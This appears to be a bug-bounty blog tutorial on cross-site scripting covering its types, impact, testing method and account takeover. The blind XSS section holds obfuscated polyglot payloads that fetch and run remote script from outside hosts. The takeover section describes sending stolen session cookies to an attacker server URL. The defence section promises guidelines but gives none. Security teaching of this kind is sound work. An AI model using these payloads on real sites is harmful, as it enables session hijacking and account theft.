XSS made easy for testers, developers and managers


This may be obvious but XSS is one of my favourite vuleranbility types because of the depth and complexity. It all seems so super simple but when you really get down to the core of XSS there is a world of wonder to explore. Besides the different types of XSS ( Being reflected, stored and DOM — blind XSS is another form of stored XSS ) there are also a lot of different contexts which most people seem to glance over completely. Most courses and articles that cover XSS will only concern themselves with HTML injection but this is just a small part of what XSS is all about.

What is XSS?

First we need to know why this vulnerability type occurs and we can state that this issue can arise wherever the developer takes user input and renders it onto the page without sanitizing that input. There are several ways to sanitise the input of which the safest but also most restrictive seems to be whitelist based filtering.

What is the impact?

The impact of XSS really depends on a couple of factors. We need to check which context we are in, what cookies have the httponly flag and if there is any data we can steal on the page. All of these are just a couple of factors that determine the impact but to be complete we should name all the factors that can improve the impact of an XSS that we can think off. Be warned though that this is based on the limited knowledge of one rat so it might be a bit lackluster.

  • Can we steal data from the page? If you are a developer make sure that CSP is properly implemented on at least the pages that contain sensitive information. This is not an easy task as we might need to allow certain resources which might open us up to things like dangling markup injection.
  • Can we execute sensitive JS functions? Remember that XSS can execute any JS function that is available to the current context so that means you might be able to execute a sensitive function such as DeleteAccount();
  • Are we in an iframe or sandbox? This will limit any sort of data we can access and is usually pretty effictive against XSS if the seperation of data has been applied properly
  • What context are we working in? After all if we are able to insert data into a hidden input field’s attribute value it might not be as impactful as being able to insert a script tag on a page. This is because hidden input fields can’t grab focus easily so they can’t really trigger any JS handlers without user interaction.
  • Can we simply steal any data without having to execute danling markup injection?
  • Can we steal CSRF tokens and chain XSS into CSRF?
  • If we have self-xss try to upgrade the severity by chaining it with a CSRF issue where the server does not check the CSRF token properly thus allowing you to insert your xss attack vector into someone else’s account.

How to test for XSS

Passive method

For our passive method it’s a matter of testing every single input field or reflected value that you see. I can not stress this enough! This means input fields, headers, … anything you can think of you need to test it. Just enter the value and move on to explore the functionality. Don’t dig too deep yet, in this phase we just want to seed our attack vector as far as possible. We want to have it in every possible database field and the reason is that when later on the application needs our data, it will grab an XSS attack vector and that means we are automatically testing for XSS and all we had to do is make our name, last name, adress, … into a simple XSS attack vector when we registered. We are automatically testing every single location where the target needs that name and that is gold for us.

'"><img src=x><b>RAT+IS+HERE_GIMME'"  I am testing for JS context injection
'"> I am testing for html tag attribute injection
<img src=x> I don't know why but images don't seem to be filtered as often as other attack vectors
<b>RAT+IS+HERE_GIMME Obvious HTML injection attempt. What's special is that i will use this value later.

Active hunting

This is where our value RAT+IS+HERE_GIMME comes into play. I will start looking for locations where this value is reflected.

  • The HTML context might straight up reflect the name which might expose an entry point for us again.
  • The HTML tag attribute might reflect our name into a value attribute from an input field.
  • The value might be reflected in the DOM
  • The value might be reflected in the angular context
  • If we can attack the system without using those filtered chars
  • If we can get around the filter for the forbidden chars
  • How our value is reflected and how we need to attack it. For example if our value is reflected between single quotes we will need to insert single quotes somehow into the reflection.

Types of XSS

We already talked a little bit about the different types of XSS but i think it helps if we go over them fully to explain the differences to you and to show you what kind of testing is expected of you as an ethical hacker because we will also be discussing the small differences in test objectives between the types of XSS.

Reflected XSS

This is by far the most popular type of XSS out there and a lot of hunters and pentesters will focus on this as it’s the easiest to test for. You don’t need to know the application all you have to is look for reflected values which makes this vulnerability type a little bit less useful to me. I like to get to know my application and find all the input fields that store data in the database (which would be stored XSS) but i can certainly understand the appeal here.

'"><img src=x><b>RAT+IS+HERE_GIMME
My attack vector

Stored XSS

Stored XSS takes a bit more knowledge of the program to execute succesfully since you will have to test every single input field that you see. This is a GIANT task and it seems impossible but it’s needed for sure. In bug bounties there will be no low hanging fruit. That will all be picked clean by pentesters already. Our amazing co-workers already did part of the work and now it’s up to the bounty hunters to find that one field that everyone overlooked in their security measures.

Blind XSS

Blind XSS is also part of stored XSS as we try to insert an attack vector and a third party will open that attack vector via a system that we can not access under normal working conditions. This can be the back-end website of a ticketing system for example or a chat bot.

javascript:eval('var a=document.createElement(\\'script\\');a.src=\\'<https://js.thexssrat>. com\\';document.body.appendChild(a)')
javascript:eval('var a=document.createElement(\\'script\\');a.src=\\'<https://js.thexssrat>. com\\';document.body.appendChild(a)')"><script src=https://js.thexssrat.com></script>"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vdGhlYW1hemluZ3JhdC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vdGhlYW1hemluZ3JhdC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>"><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vdGhlYW1hemluZ3JhdC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7>"><iframe srcdoc="&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#118;&#97;&#114;&#32;&#97;&#61;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#114;&#101;&#97;&#116;&#101;&#69;&#108;&#101;&#109;&#101;&#110;&#116;&#40;&#34;&#115;&#99;&#114;&#105;&#112;&#116;&#34;&#41;&#59;&#97;&#46;&#115;&#114;&#99;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;js.thexssrat.com&#34;&#59;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#98;&#111;&#100;&#121;&#46;&#97;&#112;&#112;&#101;&#110;&#100;&#67;&#104;&#105;&#108;&#100;&#40;&#97;&#41;&#59;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;"><script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//js.thexssrat.com");a.send();</script><script>$.getScript("//js.thexssrat.com")</script>


For this chapter i am going to have to point you towards my XSS course as this is a bit too complicated to explain in simple terms and i don’t want to duplicate my work on that either. I don’t really like duplication as when i need to change something i would have to change it on two places.

XSS into account takeover?

Something i’ve been asked several times is how XSS can lead to account takeover so i will attempt to explain this here. When we execute XSS, we usually test with an alert() or something similar like a confirm(). When we see that popup our hearts go racing ofcourse as they should but this is just the start of our journey.

  • If this is not possible because of the httponly flag for example we might still be able to execute a JS function that changes the email adress. All we have to do is change the email adress of the victim to ours and request a password reset.
  • If we can steal the cookie we will have to make a request to our own webserver and pass the session cookie that we need as a GET parameter.
  • https://www.ourOwnServer.com/sayCheese.php?sess=SESSION_COOKIE_HERE
  • We can then see in our access logs of out own server that a request had been made that contained the cookies
  • We then need to edit our own session cookie to the value of our victim and if everything went okay we are now browsing the target as our victim
  • Changing the password if the server doesn’t check if the old password is correct

So how do we prevent it?

Now that we know how XSS attacks occur and what impact they can have we can follow a few key guidelines to defend ourselves from XSS attacks. These will not give full XSS protection, there is nothing that can that.

Where can we find more?

No b*llshit Hacking tutorials with extreme value in short bursts

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store